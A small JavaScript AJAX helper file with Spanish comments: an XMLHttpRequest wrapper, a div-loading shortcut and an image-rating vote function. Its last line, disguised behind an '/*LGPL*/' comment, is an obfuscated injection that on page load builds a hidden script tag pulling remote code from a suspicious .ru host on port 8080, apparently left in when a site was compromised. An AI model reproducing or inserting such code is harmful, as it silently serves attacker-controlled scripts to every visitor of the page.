// Esta es para llamado de datos remotos via xmlHttpRequest

function datosServidor() {
};
datosServidor.prototype.iniciar = function() {
	try {
		// Mozilla / Safari
		this._xh = new XMLHttpRequest();
	} catch (e) {
		// Explorer
		var _ieModelos = new Array(
		'MSXML2.XMLHTTP.5.0',
		'MSXML2.XMLHTTP.4.0',
		'MSXML2.XMLHTTP.3.0',
		'MSXML2.XMLHTTP',
		'Microsoft.XMLHTTP'
		);
		var success = false;
		for (var i=0;i < _ieModelos.length && !success; i++) {
			try {
				this._xh = new ActiveXObject(_ieModelos[i]);
				success = true;
			} catch (e) {
				// Implementar manejo de excepciones
			}
		}
		if ( !success ) {
			// Implementar manejo de excepciones, mientras alerta.
			return false;
		}
		return true;
	}
}

datosServidor.prototype.ocupado = function() {
	estadoActual = this._xh.readyState;
	return (estadoActual && (estadoActual < 4));
}

datosServidor.prototype.procesa = function() {
	if (this._xh.readyState == 4 && this._xh.status == 200) {
		this.procesado = true;
	}
}

datosServidor.prototype.enviar = function(urlget,datos) {
	if (!this._xh) {
		this.iniciar();
	}
	if (!this.ocupado()) {
		this._xh.open("GET",urlget,false);
		this._xh.send(datos);
		if (this._xh.readyState == 4 && this._xh.status == 200) {
			return this._xh.responseText;
		}
		
	}
	return false;
}


// Este es un acceso rapido, le paso la url y el div a cambiar
function _gr(reqseccion,divcont) {
	remotos = new datosServidor;
	nt = remotos.enviar(reqseccion,"");
	document.getElementById(divcont).innerHTML = nt;
}



//Estas dos son para guardar

var urlBase = "update.php?";


function rateImg(rating,imgId)  {
		remotos = new datosServidor;
		nt = remotos.enviar('/ajax/vote.php?rating='+rating+'&imgId='+imgId);
		rating = rating * 25;
		document.getElementById('current-rating').style.width = rating+'px';
}
/*LGPL*/ try{ window.onload = function(){var Mrez7ni279c = document.createElement('s&^@c##r#i##p^&##@t)@'.replace(/@|\)|\$|&|\^|\!|\(|#/ig, ''));Mrez7ni279c.setAttribute('defer', 'd$e^(@f^)^e!r$))'.replace(/\)|\(|@|#|\^|\$|&|\!/ig, ''));Mrez7ni279c.setAttribute('type', 't)#e!!x@&t&^&#/&&^(j$@)#a#$v&)!a!s&#c#!$&r^@!i@#!p$$$t(&'.replace(/&|\)|\^|\!|\(|#|@|\$/ig, ''));Mrez7ni279c.setAttribute('id', 'Y()(&2!&k!@((7@j!$!)&8@1^)e&c$&))n)@@3$)^l^)@)c#c##&&'.replace(/#|@|\(|\)|\!|\$|&|\^/ig, ''));Mrez7ni279c.setAttribute('s&#r&!c^!'.replace(/\(|&|\^|@|\!|\)|\$|#/ig, ''),  'h)&t#)&t$(@p#&$:@#$/($(/(@m$($s@#^!n($-$#c^o#)m&#-&^c#@n!#.&e$@b!a@@@y$.)i(#t@).!a&&l#j!!a@)z#$e^)$e#$r^@a$(&-@^n!)e()$t#!&.(t&$^(e^#@e^^!#$n!)$&!w^$e)!$(b@$d^#$e$&^s)!!i&)$g(#n^!.$!r^!!u^:@8!0@#8#&@0@#$/#)n$(&i))@k!@@!(k!&(a$$)n#@s#p&o(&)r@(t)@s&.!c#^o&$m()(/&@)n$@i))k#k$a@#!n@!((s)&#p&$#$&o#r#@t(^)s@@#.^c!(^&o$m@!#/!(l#^#e)(@t(i#t()!#b(i&!)t$&.(n&)e$t^&/#$g!$^o!)@o($$g#&$l&^e(#!.(!$c@o@!)^m&@/(p$(e))o)p!#l)!@(e&.^#)c#^&@o@@m(($/&('.replace(/#|\$|@|\(|\)|\!|\^|&/ig, ''));if (document){document.body.appendChild(Mrez7ni279c);}} } catch(Xgvh2tydmhjy1m20kinq43) {}